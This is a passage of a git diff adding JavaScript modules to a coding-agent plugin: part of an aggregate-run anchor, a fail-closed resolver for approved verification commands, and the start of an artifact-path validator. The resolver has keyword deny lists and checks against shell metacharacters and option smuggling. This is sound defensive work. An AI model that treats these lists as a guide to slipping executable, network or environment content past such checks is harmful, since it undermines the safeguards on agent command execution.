publishCoordination(dirToken, next); + return snapshotRecord({ + created: true, + record: loaded.anchor.record, + coordination: coordination.record, + }); + })); + }, + async commitResolvedPlan(input) { + if (input === undefined || input === null) { + failAnchor('invalid_type', 'commit', 'commitResolvedPlan requires a plain JSON object.'); + } + assertDirectJsonClosure(input, 'commit'); + const fields = closedObject(input, 'commit', AGGREGATE_COMMIT_PLAN_KEYS); + assertRunId(fields.run_id, 'run_id'); + const plan = bindPlanRecord(fields.run_id, fields.resolved_plan_record); + return operate((ctx) => mutateRun(ctx, fields.run_id, async (dirToken, loaded) => { + assertExpectedRevision(fields.expected_revision, 0, 'expected_revision'); + const current = loaded.coordination.record; + if (current.phase === 'resolution_ready' && current.revision === 1 + && current.resolved_plan_digest === plan.record.canonical_digest + && current.selection_request_binding === null) { + return snapshotRecord({ + created: false, + record: loaded.anchor.record, + coordination: current, + }); + } + if (current.phase !== 'submitted' || current.revision !== 0) { + failAnchor('aggregate_run_revision_conflict', 'expected_revision', + 'commitResolvedPlan requires submitted@0.'); + } + await adoptOrPublishRecord(dirToken, PLAN_RECORD_NAME, plan, PLAN_RECORD_NAME); + const next = bindCoordinationPayload({ + schema: AGGREGATE_RUN_COORDINATION_SCHEMA_ID, + run_id: current.run_id, + anchor_digest: current.anchor_digest, + revision: 1, + phase: 'resolution_ready', + selection_request_binding: null, + selection_reply_digest: null, + resolved_plan_digest: plan.record.canonical_digest, + }); + const coordination = await publishCoordination(dirToken, next); + return snapshotRecord({ + created: true, + record: loaded.anchor.record, + coordination: coordination.record, + }); + })); + }, + }); +} + +async function openMarkedRoot(rootPath, { initialize = false } = {}) { + const resolved = assertSafeRootPath(rootPath); + const opened = await openDirectoryHandle(resolved, 'root'); + try { + if (initialize) { + const names = await enumerateDirectory(opened, MAX_AGGREGATE_ROOT_ENTRIES, 'root'); + if (names.length !== 0) { + const kind = classifyUnmarkedRoot(names); + if (kind === 'p24' || kind === 'p25') { + failAnchor('aggregate_run_root_shared', 'root', + 'The aggregate run root must be separate from accepted P24 and P25 roots.'); + } + failAnchor('aggregate_run_root_foreign', 'root', + 'initializeAggregateRunAnchorRoot requires a completely empty private root.'); + } + const marker = bindMarkerPayload(RANDOM_BYTES(16).toString('hex')); + const published = await exclusivePublish(opened, MARKER_NAME, marker.bytes, 'marker'); + if (!published.published) { + failAnchor('aggregate_run_identity_conflict', 'root', + 'The aggregate run root marker could not be published exclusively.'); + } + await ensurePrivateDirectory(opened, CLAIMS_NAME, 'claims').then((token) => token.handle.close()); + await ensurePrivateDirectory(opened, RUNS_NAME, 'runs').then((token) => token.handle.close()); + await syncDirectory(opened.handle); + } + const audited = await auditMarkedRoot(opened, { createMissing: initialize }); + try { + return assembleHandle(opened, audited); + } finally { + await audited.claims.handle.close().catch(() => {}); + await audited.runs.handle.close().catch(() => {}); + } + } finally { + await opened.handle.close().catch(() => {}); + } +} + +export async function initializeAggregateRunAnchorRoot(rootPath) { + return openMarkedRoot(rootPath, { initialize: true }); +} + +export async function openAggregateRunAnchor(rootPath) { + return openMarkedRoot(rootPath, { initialize: false }); +} + +capturedFreeze(initializeAggregateRunAnchorRoot); +capturedFreeze(openAggregateRunAnchor); +capturedFreeze(deriveAggregateSubmissionKeyV1); +capturedFreeze(validateAggregateRunAnchorV1); +capturedFreeze(validateAggregateRunCoordinationV1); diff --git a/plugins/codex-co-engineer/mcp/v3/approved-verification-command.mjs b/plugins/codex-co-engineer/mcp/v3/approved-verification-command.mjs new file mode 100644 index 0000000..c26f489 --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/approved-verification-command.mjs @@ -0,0 +1,675 @@ +// Approved verification-command resolver — ExecutionIntent / ApprovedCommand +// receipt for W15-P16B (ADR 0001 identifiers +// `verification_policy_v1_only_executable_catalog`, +// `codex_selects_approved_command_ids_only`, +// `manifests_carry_command_ids_not_argv`, +// `provider_commands_evidence_never_auto_executed`, +// `read_only_verification`, +// `gate_a_constrained_trusted_policy_command_execution`). +// +// Additive v3 module. It owns one fail-closed question: given an immutable +// trusted VerificationPolicyV1 from P16A and a closed Codex/owner selection +// of command_id plus typed parameter values, what is the fresh frozen +// bounded resolution receipt? It answers nothing else. +// This module never invokes a shell, never resolves PATH, and never executes a command. +// It never opens a network socket, never reads arbitrary workspace files, never +// mutates a candidate, and does not implement the P16C runner. +// +// Authority provenance is only the closed selection input. A provider, +// profile, or manifest reported or requested command is evidence only: even +// exact matching command-id / argv / executable text cannot authorize +// resolution. Untrusted input may carry only command_id and typed +// parameters. Executable path, argv fragments, shell text, environment, +// network, mutation, and resource overrides are denied before expansion. +// +// Expansion substitutes only owner-authored whole-token `{name}` +// placeholders with validated canonical parameter values. There is no +// interpolation, substitution, globbing, option smuggling, or PATH lookup. +// Inherited P16A constraints are copied, never overridden. Failures are +// typed and content-free. Receipts are fresh-owned, deeply frozen, and +// detached. Callers' objects are neither mutated nor frozen. + +import { Buffer as NodeBuffer } from 'node:buffer'; + +import { + capturedCreate, + capturedFreeze, + capturedHasOwn, + capturedIncludes, + capturedIsArray, + capturedObjectIs, + capturedTest, + capturedUtf8ByteLength, + sortedCapturedKeys, +} from './grammar.mjs'; +import { + IDENTITY_DOMAIN, + IDENTITY_LABELS, + IDENTITY_VERSION, + canonicalJsonStringify, + identityDigestV1, +} from './identity.mjs'; +import { + assertDirectJsonClosure, + assertNotProxy, + assertPlainObject, + fail, + hasOwn, + optOwn, +} from './selection-json.mjs'; +import { + COMMAND_RECEIPT_KEYS, + DEFAULT_ENVIRONMENT_RECEIPT, + DEFAULT_ERROR_BYTES, + DEFAULT_MUTATION_RECEIPT, + DEFAULT_NETWORK_RECEIPT, + DEFAULT_OUTPUT_BYTES, + DEFAULT_RESOURCES_RECEIPT, + DEFAULT_TIMEOUT_MS, + DIGEST_ALGORITHM, + ENV_ENTRY_ALLOWED_KEYS, + ENVIRONMENT_ALLOWED_KEYS, + MAX_ARGV_TOKEN_BYTES, + MAX_PARAMETERS, + MAX_POLICY_OBJECT_KEYS, + MUTATION_ALLOWED_KEYS, + NETWORK_ALLOWED_KEYS, + PARAMETER_TYPES, + PLACEHOLDER_PATTERN, + RESOURCES_ALLOWED_KEYS, + UNTRUSTED_COMMAND_ALLOWED_KEYS, + VERIFICATION_COMMAND_DIGEST_LABEL, + VERIFICATION_POLICY_DIGEST_LABEL, + parseUntrustedCommandReferenceV1, + parseVerificationPolicyV1, +} from './trusted-verification-policy.mjs'; + +export const APPROVED_VERIFICATION_COMMAND_SCHEMA_ID = + 'codex-co-engineer.approved-verification-command.v1'; +export const APPROVED_VERIFICATION_COMMAND_VERSION = 1; +export const APPROVED_COMMAND_DIGEST_LABEL = IDENTITY_LABELS.VERIFICATION_COMMAND_PLAN; +export const EXECUTABLE_CLOSURE_DIGEST_LABEL = IDENTITY_LABELS.VERIFICATION_EXECUTABLE_CLOSURE; + +export const REQUEST_ALLOWED_KEYS = capturedFreeze(['policy', 'selection']); +export const REQUEST_REQUIRED_KEYS = REQUEST_ALLOWED_KEYS; +export const SELECTION_ALLOWED_KEYS = UNTRUSTED_COMMAND_ALLOWED_KEYS; +export const RECEIPT_BODY_KEYS = capturedFreeze([ + 'argv', 'command_id', 'command_identity', 'environment', 'executable', + 'executable_closure_identity', 'mutation', 'network', 'parameters', + 'policy_identity', 'resources', 'schema', 'timeout_ms', 'version', +]); +export const RECEIPT_KEYS = capturedFreeze([ + 'argv', 'command_id', 'command_identity', 'environment', 'executable', + 'executable_closure_identity', 'mutation', 'network', 'parameters', + 'plan_identity', 'policy_identity', 'resources', 'schema', 'timeout_ms', + 'version', +]); +export const IDENTITY_RECEIPT_KEYS = capturedFreeze([ + 'algorithm', 'digest', 'domain', 'input_bytes', 'label', 'version', +]); + +export const APPROVED_COMMAND_ERROR_CODES = capturedFreeze([ + 'accessor_property_denied', 'aliased_reference_denied', 'ambiguous_id_denied', + 'authority_denied', 'control_character_denied', 'duplicate_id', + 'duplicate_parameter', 'env_name_denied', 'executable_content_denied', + 'exotic_prototype_denied', 'invalid_array', 'invalid_encoding', + 'invalid_format', 'invalid_json_type', 'invalid_json_value', 'invalid_type', + 'missing_key', 'mutation_permission_denied', 'network_content_denied', + 'non_enumerable_property_denied', 'option_smuggling_denied', + 'own_undefined_denied', 'out_of_range', 'placeholder_unbound', + 'proxy_denied', 'resource_limit_denied', 'shell_content_denied', + 'symbol_key_denied', 'unknown_command', 'unknown_key', + 'value_depth_exceeded', +]); + +const PRIVATE_PATH_SEGMENT_PATTERN = /^[A-Za-z0-9._+-]+$/u; +const PRIVATE_LITERAL_PATTERN = /^[A-Za-z0-9._+/=:,@%-]+$/u; +const PRIVATE_PLACEHOLDER_PATTERN = /^\{[a-z][a-z0-9_-]{0,31}\}$/u; + +const MESSAGES = capturedFreeze(Object.assign(capturedCreate(null), { + accessor_property_denied: 'An accessor property was denied; getters are never invoked.', + aliased_reference_denied: 'Aliased or cyclic references are denied.', + ambiguous_id_denied: 'Ambiguous Unicode, compatibility, or confusable identity text is denied.', + authority_denied: 'Provider, profile, and manifest commands are evidence only and cannot authorize resolution.', + control_character_denied: 'Control, invisible, or bidi characters are denied.', + duplicate_id: 'A duplicate identity was denied instead of collapsed.', + duplicate_parameter: 'A duplicate parameter or placeholder binding was denied.', + env_name_denied: 'An environment name is outside the closed allowlist.', + executable_content_denied: 'Untrusted input must not contribute executable content.', + exotic_prototype_denied: 'Exotic prototypes are denied.', + invalid_array: 'Arrays must be dense JSON arrays without extended metadata.', + invalid_encoding: 'Text must be well-formed NFC/NFKC Unicode.', + invalid_format: 'A field violates the closed grammar.', + invalid_json_type: 'A non-JSON value was denied.', + invalid_json_value: 'A non-canonical JSON number or value was denied.', + invalid_type: 'A field has the wrong JSON type.', + missing_key: 'A required field is missing; trusted policy has no hidden grants.', + mutation_permission_denied: 'Untrusted input must not contribute mutation permissions.', + network_content_denied: 'Untrusted input must not contribute network targets.', + non_enumerable_property_denied: 'Non-enumerable properties are denied.', + option_smuggling_denied: 'A parameter value attempted to smuggle an option or argv fragment.', + own_undefined_denied: 'Own undefined values are denied; omit the field instead.', + out_of_range: 'A bounded integer, count, or size was exceeded.', + placeholder_unbound: 'An argv placeholder is not bound to a declared parameter.', + proxy_denied: 'Live and revoked Proxies are denied.', + resource_limit_denied: 'Untrusted input must not contribute resource limits.', + shell_content_denied: 'Shell text, interpolation, or metacharacters are denied.', + symbol_key_denied: 'Symbol keys are denied.', + unknown_command: 'The selected command is not in the trusted catalog.', + unknown_key: 'A key is outside the closed vocabulary.', + value_depth_exceeded: 'Nesting exceeds the bounded policy depth.', +})); + +const EXECUTABLE_FOLDS = capturedFreeze([ + 'args', 'argument', 'arguments', 'argv', 'argvtemplate', 'bin', 'binary', + 'cmd', 'cmdline', 'command', 'commandcatalog', 'commands', 'cwd', + 'entrypoint', 'exec', 'executable', 'interpreter', 'run', 'runner', + 'runnercommand', 'script', 'scripts', 'shell', 'shellcommand', 'template', + 'templates', 'verificationcommand', 'verificationpolicy', + 'verificationpolicyv1', 'workingdirectory', +]); +const ENVIRONMENT_FOLDS = capturedFreeze([ + 'dotenv', 'env', 'environ', 'environment', 'environmentallowlist', + 'envfile', 'envvar', 'envvars', +]); +const NETWORK_FOLDS = capturedFreeze([ + 'endpoint', 'host', 'hostname', 'hosts', 'network', 'uri', 'url', +]); +const MUTATION_FOLDS = capturedFreeze([ + 'filesystem', 'mutate', 'mutation', 'persist', 'persistent', 'write', +]); +const RESOURCE_FOLDS = capturedFreeze([ + 'cpulimit', 'maxerrorbytes', 'maxoutputbytes', 'memorylimit', 'pidslimit', + 'resource', 'resources', 'timeout', 'timeoutms', 'ulimit', +]); +const AUTHORITY_FOLDS = capturedFreeze([ + 'acceptance', 'assignment', 'attention', 'catalog', 'claim', 'evidence', + 'manifest', 'profile', 'profiles', 'provider', 'providercommand', + 'providerreport', 'providers', 'report', 'reported', 'requested', + 'requestedcommand', 'suggestion', 'untrusted', 'worker', +]); + +const OBJECT_DEFINE_PROPERTY = Object.defineProperty; +const NUMBER_IS_SAFE_INTEGER = Number.isSafeInteger; +const NUMBER_IS_FINITE = Number.isFinite; +const REFLECT_OWN_KEYS = Reflect.ownKeys; +const STRING = String; +const STRING_CHAR_CODE_AT = Function.prototype.call.bind(String.prototype.charCodeAt); +const STRING_SLICE = Function.prototype.call.bind(String.prototype.slice); +const STRING_STARTS_WITH = Function.prototype.call.bind(String.prototype.startsWith); +const STRING_REPLACE = Function.prototype.call.bind(String.prototype.replace); +const STRING_TO_LOWER_CASE = Function.prototype.call.bind(String.prototype.toLowerCase); +const ARRAY_PUSH = Array.prototype.push; +const SET_CTOR = Set; +const SET_ADD = SET_CTOR.prototype.add; +const SET_HAS = SET_CTOR.prototype.has; +const BUFFER_FROM = NodeBuffer.from.bind(NodeBuffer); + +function deny(code, path) { + fail(code, path, MESSAGES[code] ?? MESSAGES.invalid_format); +} + +function freezeRecord(keys, values) { + const snapshot = {}; + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + if (!capturedHasOwn(values, key)) continue; + OBJECT_DEFINE_PROPERTY(snapshot, key, { + value: values[key], enumerable: true, writable: false, configurable: false, + }); + } + return capturedFreeze(snapshot); +} + +function freezeList(values) { + const clone = []; + for (let index = 0; index < values.length; index += 1) { + ARRAY_PUSH.call(clone, values[index]); + } + return capturedFreeze(clone); +} + +function foldKey(key) { + return STRING_REPLACE(STRING_TO_LOWER_CASE(STRING(key)), /[-_ ]+/gu, ''); +} + +function ownKeysOrDeny(value, path) { + let keys; + try { + keys = REFLECT_OWN_KEYS(value); + } catch { + deny('invalid_type', path); + } + return keys; +} + +function classifyRequestKey(key) { + if (key === 'policy' || key === 'selection') return null; + const folded = foldKey(key); + if (folded === 'policy' || folded === 'selection') return 'unknown_key'; + if (capturedIncludes(AUTHORITY_FOLDS, folded)) return 'authority_denied'; + if (capturedIncludes(EXECUTABLE_FOLDS, folded)) return 'executable_content_denied'; + if (capturedIncludes(ENVIRONMENT_FOLDS, folded)) return 'executable_content_denied'; + if (capturedIncludes(NETWORK_FOLDS, folded)) return 'network_content_denied'; + if (capturedIncludes(MUTATION_FOLDS, folded)) return 'mutation_permission_denied'; + if (capturedIncludes(RESOURCE_FOLDS, folded)) return 'resource_limit_denied'; + return 'unknown_key'; +} + +function assertRequestKeys(value, path) { + const keys = ownKeysOrDeny(value, path); + if (keys.length > MAX_POLICY_OBJECT_KEYS) deny('out_of_range', path); + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + if (typeof key === 'symbol') deny('symbol_key_denied', path); + const code = classifyRequestKey(key); + if (code !== null) deny(code, path); + } + for (let index = 0; index < REQUEST_REQUIRED_KEYS.length; index += 1) { + const key = REQUEST_REQUIRED_KEYS[index]; + if (!hasOwn(value, key)) deny('missing_key', `${path}.${key}`); + } +} + +function isDotOnly(segment) { + if (typeof segment !== 'string' || segment.length === 0) return false; + for (let index = 0; index < segment.length; index += 1) { + if (STRING_CHAR_CODE_AT(segment, index) !== 0x2e) return false; + } + return true; +} + +function digestOf(label, snapshot) { + const canonical = canonicalJsonStringify(snapshot); + const canonicalBytes = BUFFER_FROM(canonical, 'utf8'); + const descriptor = identityDigestV1(label, [canonicalBytes]); + return freezeRecord(IDENTITY_RECEIPT_KEYS, { + algorithm: DIGEST_ALGORITHM, + domain: IDENTITY_DOMAIN, + version: IDENTITY_VERSION, + label, + input_bytes: canonicalBytes.length, + digest: descriptor.digest, + }); +} + +function findCommand(policy, commandId) { + const commands = policy.commands; + for (let index = 0; index < commands.length; index += 1) { + const command = commands[index]; + if (command.command_id === commandId) return command; + } + return undefined; +} + +function placeholderName(token) { + return STRING_SLICE(token, 1, token.length - 1); +} + +function requiredParameterNames(command) { + const required = []; + const seen = new SET_CTOR(); + const template = command.argv_template; + for (let index = 0; index < template.length; index += 1) { + const token = template[index]; + if (!capturedTest(PRIVATE_PLACEHOLDER_PATTERN, token) + && !capturedTest(PLACEHOLDER_PATTERN, token)) { + continue; + } + const name = placeholderName(token); + if (SET_HAS.call(seen, name)) deny('duplicate_parameter', 'request.selection.parameters'); + SET_ADD.call(seen, name); + ARRAY_PUSH.call(required, name); + } + return required; +} + +function assertCanonicalInteger(value, path, min, max) { + if (typeof value !== 'number' || !NUMBER_IS_SAFE_INTEGER(value) || !NUMBER_IS_FINITE(value) + || capturedObjectIs(value, -0)) { + deny('invalid_type', path); + } + if (value < min || value > max) deny('out_of_range', path); + return value; +} + +function assertCanonicalStringToken(value, path, maxBytes, pattern) { + if (typeof value !== 'string') deny('invalid_type', path); + const bytes = capturedUtf8ByteLength(value); + if (bytes < 1 || bytes > maxBytes) deny('out_of_range', path); + if (!capturedTest(pattern, value)) deny('invalid_format', path); + if (STRING_STARTS_WITH(value, '-')) deny('option_smuggling_denied', path); + return value; +} + +function validateParameterValue(value, domain, path) { + const type = domain.type; + if (!capturedIncludes(PARAMETER_TYPES, type)) deny('invalid_format', path); + if (type === 'boolean') { + if (value !== true && value !== false) deny('invalid_type', path); + return value; + } + if (type === 'integer') { + return assertCanonicalInteger(value, path, domain.min, domain.max); + } + if (type === 'enum') { + if (typeof value !== 'string') deny('invalid_type', path); + const values = domain.values; + for (let index = 0; index < values.length; index += 1) { + if (values[index] === value) return value; + } + deny('invalid_format', path); + } + if (type === 'path_segment') { + const token = assertCanonicalStringToken( + value, path, domain.max_bytes, PRIVATE_PATH_SEGMENT_PATTERN, + ); + if (isDotOnly(token)) deny('invalid_format', path); + return token; + } + return assertCanonicalStringToken(value, path, domain.max_bytes, PRIVATE_LITERAL_PATTERN); +} + +function canonicalArgvToken(value, type) { + if (type === 'boolean') return value === true ? 'true' : 'false'; + if (type === 'integer') return STRING(value); + return value; +} + +function validateParameters(command, provided, path) { + const domain = command.parameters; + const declared = sortedCapturedKeys(domain); + const providedKeys = sortedCapturedKeys(provided); + if (providedKeys.length > MAX_PARAMETERS) deny('out_of_range', path); + const seen = new SET_CTOR(); + const values = {}; + for (let index = 0; index < providedKeys.length; index += 1) { + const key = providedKeys[index]; + if (SET_HAS.call(seen, key)) deny('duplicate_parameter', path); + SET_ADD.call(seen, key); + if (!capturedHasOwn(domain, key)) deny('unknown_key', path); + values[key] = validateParameterValue(provided[key], domain[key], `${path}.${key}`); + } + const required = requiredParameterNames(command); + for (let index = 0; index < required.length; index += 1) { + const name = required[index]; + if (!SET_HAS.call(seen, name)) deny('missing_key', `${path}.${name}`); + } + for (let index = 0; index < declared.length; index += 1) { + const name = declared[index]; + if (SET_HAS.call(seen, name)) continue; + deny('missing_key', `${path}.${name}`); + } + return freezeRecord(sortedCapturedKeys(values), values); +} + +function expandArgv(command, parameters, path) { + const template = command.argv_template; + const argv = []; + const used = new SET_CTOR(); + for (let index = 0; index < template.length; index += 1) { + const token = template[index]; + const entryPath = `${path}[${index}]`; + if (capturedTest(PRIVATE_PLACEHOLDER_PATTERN, token) + || capturedTest(PLACEHOLDER_PATTERN, token)) { + const name = placeholderName(token); + if (!capturedHasOwn(parameters, name)) deny('placeholder_unbound', entryPath); + if (SET_HAS.call(used, name)) deny('duplicate_parameter', entryPath); + SET_ADD.call(used, name); + const domain = command.parameters[name]; + const expanded = canonicalArgvToken(parameters[name], domain.type); + if (typeof expanded !== 'string' || capturedUtf8ByteLength(expanded) > MAX_ARGV_TOKEN_BYTES) { + deny('out_of_range', entryPath); + } + if (!capturedTest(PRIVATE_LITERAL_PATTERN, expanded) + && !capturedTest(PRIVATE_PATH_SEGMENT_PATTERN, expanded)) { + deny('shell_content_denied', entryPath); + } + ARRAY_PUSH.call(argv, expanded); + continue; + } + ARRAY_PUSH.call(argv, token); + } + return freezeList(argv); +} + +function cloneHosts(hosts) { + const clone = []; + for (let index = 0; index < hosts.length; index += 1) { + ARRAY_PUSH.call(clone, hosts[index]); + } + return freezeList(clone); +} + +function cloneEnvironment(environment) { + const entries = []; + const source = environment.entries; + for (let index = 0; index < source.length; index += 1) { + const entry = source[index]; + ARRAY_PUSH.call(entries, freezeRecord(ENV_ENTRY_ALLOWED_KEYS, { + name: entry.name, + value: entry.value, + })); + } + return freezeRecord(ENVIRONMENT_ALLOWED_KEYS, { entries: freezeList(entries) }); +} + +function inheritConstraints(command) { + return { + network: freezeRecord(NETWORK_ALLOWED_KEYS, { + mode: command.network.mode, + hosts: cloneHosts(command.network.hosts), + }), + environment: cloneEnvironment(command.environment), + mutation: freezeRecord(MUTATION_ALLOWED_KEYS, { + persistent: command.mutation.persistent === true, + workspace: command.mutation.workspace, + }), + timeout_ms: command.timeout_ms, + resources: freezeRecord(RESOURCES_ALLOWED_KEYS, { + max_output_bytes: command.resources.max_output_bytes, + max_error_bytes: command.resources.max_error_bytes, + }), + }; +} + +function assertTrustedPolicyShape(value, path) { + assertPlainObject(value, 'invalid_type', path, path); + if (capturedIsArray(value)) deny('invalid_type', path); +} + +function cloneStringList(values) { + const clone = []; + for (let index = 0; index < values.length; index += 1) { + ARRAY_PUSH.call(clone, values[index]); + } + return clone; +} + +function reconstructDomain(domain) { + const type = domain.type; + if (type === 'integer') return { type, min: domain.min, max: domain.max }; + if (type === 'enum') return { type, values: cloneStringList(domain.values) }; + if (type === 'boolean') return { type }; + return { type, max_bytes: domain.max_bytes }; +} + +function reconstructCommand(command) { + const raw = { + command_id: command.command_id, + executable: command.executable, + argv_template: cloneStringList(command.argv_template), + }; + const paramNames = sortedCapturedKeys(command.parameters); + if (paramNames.length > 0) { + const parameters = {}; + for (let index = 0; index < paramNames.length; index += 1) { + const name = paramNames[index]; + parameters[name] = reconstructDomain(command.parameters[name]); + } + raw.parameters = parameters; + } + const network = command.network; + if (network !== undefined && network.mode === 'allowlist') { + raw.network = { mode: 'allowlist', hosts: cloneStringList(network.hosts) }; + } + const entries = command.environment === undefined ? [] : command.environment.entries; + if (entries.length > 0) { + const copied = []; + for (let index = 0; index < entries.length; index += 1) { + ARRAY_PUSH.call(copied, { name: entries[index].name, value: entries[index].value }); + } + raw.environment = { entries: copied }; + } + const mutation = command.mutation; + if (mutation !== undefined && (mutation.persistent === true || mutation.workspace !== 'none')) { + raw.mutation = { persistent: mutation.persistent === true, workspace: mutation.workspace }; + } + if (command.timeout_ms !== DEFAULT_TIMEOUT_MS) raw.timeout_ms = command.timeout_ms; + const resources = command.resources; + if (resources !== undefined) { + const maxOutput = resources.max_output_bytes; + const maxError = resources.max_error_bytes; + if (maxOutput !== DEFAULT_OUTPUT_BYTES || maxError !== DEFAULT_ERROR_BYTES) { + raw.resources = {}; + if (maxOutput !== DEFAULT_OUTPUT_BYTES) raw.resources.max_output_bytes = maxOutput; + if (maxError !== DEFAULT_ERROR_BYTES) raw.resources.max_error_bytes = maxError; + } + } + return raw; +} + +function looksLikePolicySnapshot(value, path) { + if (!hasOwn(value, 'commands')) return false; + const commands = optOwn(value, 'commands'); + if (!capturedIsArray(commands) || commands.length < 1) return false; + for (let index = 0; index < commands.length; index += 1) { + const command = optOwn(commands, STRING(index)); + if (command === undefined || command === null || typeof command !== 'object') return false; + const keys = ownKeysOrDeny(command, `${path}.commands[${index}]`); + if (keys.length !== COMMAND_RECEIPT_KEYS.length) return false; + for (let keyIndex = 0; keyIndex < COMMAND_RECEIPT_KEYS.length; keyIndex += 1) { + if (!hasOwn(command, COMMAND_RECEIPT_KEYS[keyIndex])) return false; + } + const network = optOwn(command, 'network'); + if (network === undefined || typeof network !== 'object' || capturedIsArray(network)) { + return false; + } + if (!hasOwn(network, 'hosts') || !hasOwn(network, 'mode')) return false; + } + return true; +} + +function consumeTrustedPolicy(input, path) { + if (looksLikePolicySnapshot(input, path)) { + const commandsInput = optOwn(input, 'commands'); + const commands = []; + for (let index = 0; index < commandsInput.length; index += 1) { + ARRAY_PUSH.call(commands, reconstructCommand(optOwn(commandsInput, STRING(index)))); + } + const reconstructed = { + schema: optOwn(input, 'schema'), + version: optOwn(input, 'version'), + commands, + }; + const parsed = parseVerificationPolicyV1(reconstructed, path); + if (canonicalJsonStringify(parsed) !== canonicalJsonStringify(input)) { + deny('invalid_format', path); + } + return parsed; + } + return parseVerificationPolicyV1(input, path); +} + +export function resolveApprovedVerificationCommandV1(input, path = 'request') { + assertNotProxy(input, path); + assertPlainObject(input, 'invalid_type', path, path); + assertDirectJsonClosure(input, path); + assertRequestKeys(input, path); + const policyInput = optOwn(input, 'policy'); + assertTrustedPolicyShape(policyInput, `${path}.policy`); + const policy = consumeTrustedPolicy(policyInput, `${path}.policy`); + const selectionInput = optOwn(input, 'selection'); + const selection = parseUntrustedCommandReferenceV1(selectionInput, `${path}.selection`); + const command = findCommand(policy, selection.command_id); + if (command === undefined) deny('unknown_command', `${path}.selection.command_id`); + const parameters = validateParameters( + command, + selection.parameters, + `${path}.selection.parameters`, + ); + const argv = expandArgv(command, parameters, `${path}.selection`); + const constraints = inheritConstraints(command); + const policyIdentity = digestOf(VERIFICATION_POLICY_DIGEST_LABEL, policy); + const commandIdentity = digestOf(VERIFICATION_COMMAND_DIGEST_LABEL, command); + const executableClosureIdentity = digestOf( + EXECUTABLE_CLOSURE_DIGEST_LABEL, + freezeRecord(capturedFreeze(['argv', 'executable']), { + executable: command.executable, + argv, + }), + ); + const body = freezeRecord(RECEIPT_BODY_KEYS, { + schema: APPROVED_VERIFICATION_COMMAND_SCHEMA_ID, + version: APPROVED_VERIFICATION_COMMAND_VERSION, + command_id: command.command_id, + parameters, + executable: command.executable, + argv, + network: constraints.network, + environment: constraints.environment, + mutation: constraints.mutation, + timeout_ms: constraints.timeout_ms, + resources: constraints.resources, + policy_identity: policyIdentity, + command_identity: commandIdentity, + executable_closure_identity: executableClosureIdentity, + }); + const planIdentity = digestOf(APPROVED_COMMAND_DIGEST_LABEL, body); + return freezeRecord(RECEIPT_KEYS, { + schema: body.schema, + version: body.version, + command_id: body.command_id, + parameters: body.parameters, + executable: body.executable, + argv: body.argv, + network: body.network, + environment: body.environment, + mutation: body.mutation, + timeout_ms: body.timeout_ms, + resources: body.resources, + policy_identity: body.policy_identity, + command_identity: body.command_identity, + executable_closure_identity: body.executable_closure_identity, + plan_identity: planIdentity, + }); +} + +export function canonicalApprovedVerificationCommandJsonV1(input, path = 'request') { + return canonicalJsonStringify(resolveApprovedVerificationCommandV1(input, path)); +} + +export function approvedVerificationCommandDigestV1(input, path = 'request') { + return resolveApprovedVerificationCommandV1(input, path).plan_identity; +} + +export const APPROVED_VERIFICATION_COMMAND_CONTRACT_DESCRIPTOR = capturedFreeze({ + schema: APPROVED_VERIFICATION_COMMAND_SCHEMA_ID, + version: APPROVED_VERIFICATION_COMMAND_VERSION, + label: APPROVED_COMMAND_DIGEST_LABEL, + closure_label: EXECUTABLE_CLOSURE_DIGEST_LABEL, + request_keys: REQUEST_ALLOWED_KEYS, + selection_keys: SELECTION_ALLOWED_KEYS, + receipt_keys: RECEIPT_KEYS, + default_deny: capturedFreeze({ + network: DEFAULT_NETWORK_RECEIPT, + environment: DEFAULT_ENVIRONMENT_RECEIPT, + mutation: DEFAULT_MUTATION_RECEIPT, + resources: DEFAULT_RESOURCES_RECEIPT, + timeout_ms: DEFAULT_TIMEOUT_MS, + }), +}); + +capturedFreeze(resolveApprovedVerificationCommandV1); +capturedFreeze(canonicalApprovedVerificationCommandJsonV1); +capturedFreeze(approvedVerificationCommandDigestV1); diff --git a/plugins/codex-co-engineer/mcp/v3/artifact-path.mjs b/plugins/codex-co-engineer/mcp/v3/artifact-path.mjs new file mode 100644 index 0000000..1b1a951 --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/artifact-path.mjs @@ -0,0 +1,355 @@ +// ArtifactRelativePathV1 — strict portable relative artifact path policy +// (ADR 0001 identifiers `bounded_evidence`, +// `gate_a_valid_raw_and_sanitized_artifacts`, `exact_identities`). +// +// Additive v3 module for W3-P07. It owns exactly one question, answered +// deterministically and fail closed: is this string a strict portable +// run-relative artifact path? It answers nothing else: it never touches the +// filesystem, network, or process state, and it does NOT claim that artifact +// storage exists. The P08 store, sanitizer/reader, and evidence bundle are +// separate later surfaces; producers declare paths here and only a later +// storage authority may bind them to bytes. +// +// Accepted grammar — POSIX-style, forward-slash separated, case-sensitive, +// NFC-normalized UTF-8, relative and canonical by construction: +// - 1..ARTIFACT_PATH_MAX_SEGMENTS segments of 1..ARTIFACT_PATH_SEGMENT_MAX_BYTES +// each, total UTF-8 length 1..ARTIFACT_PATH_MAX_BYTES; +// - every segment non-empty and not made only of dots, so '.', '..' and +// '...' style traversal aliases cannot be spelled at all; +// - no backslash anywhere; no leading, trailing, or doubled '/'; +// - no ':' anywhere, which forecloses drive forms (`C:`), drive-relative +// spellings, NTFS alternate data streams (`file:ads`), and scheme tricks +// (`file:`) under one deterministic rule; +// - no Windows reserved device name as a segment stem (case-insensitive +// ASCII fold, extension ignored: `con`, `CON.txt`, `com1`, `lpt0`, +// `clock$` are rejected; whole stems like +// `concat`, `nullify`, and `auxiliary` are ordinary names and stay +// accepted); +// - no leading or trailing ASCII space and no trailing dot in a segment, +// which Windows tooling silently strips; +// - well-formed Unicode only (lone surrogates rejected) and exactly NFC: +// canonically equivalent but differently composed names are distinct +// byte strings, so the policy refuses to choose between them; +// - no C0/C1 control characters (NUL included), no invisible/format/ +// bidi-override/line-separator/tag code points, and no solidus +// look-alikes that render as separators a kernel will not see. +// +// Fixed validation pipeline: identical inputs always raise the identical +// first typed error, independent of how many rules they violate. The order +// is: type, empty, lone surrogates, total byte bound, NFC, backslash, +// leading slash, trailing slash, per-segment structure (count, empty, +// dot-only alias, reserved device stem, edge space/dot, segment bytes), +// then the whole-path character scan, which reports the FIRST offending +// code point in strict left-to-right order across the control, +// invisible/format, separator look-alike, and colon classes. Rejections +// carry stable codes from the closed +// ARTIFACT_RELATIVE_PATH_ERROR_CODES vocabulary and 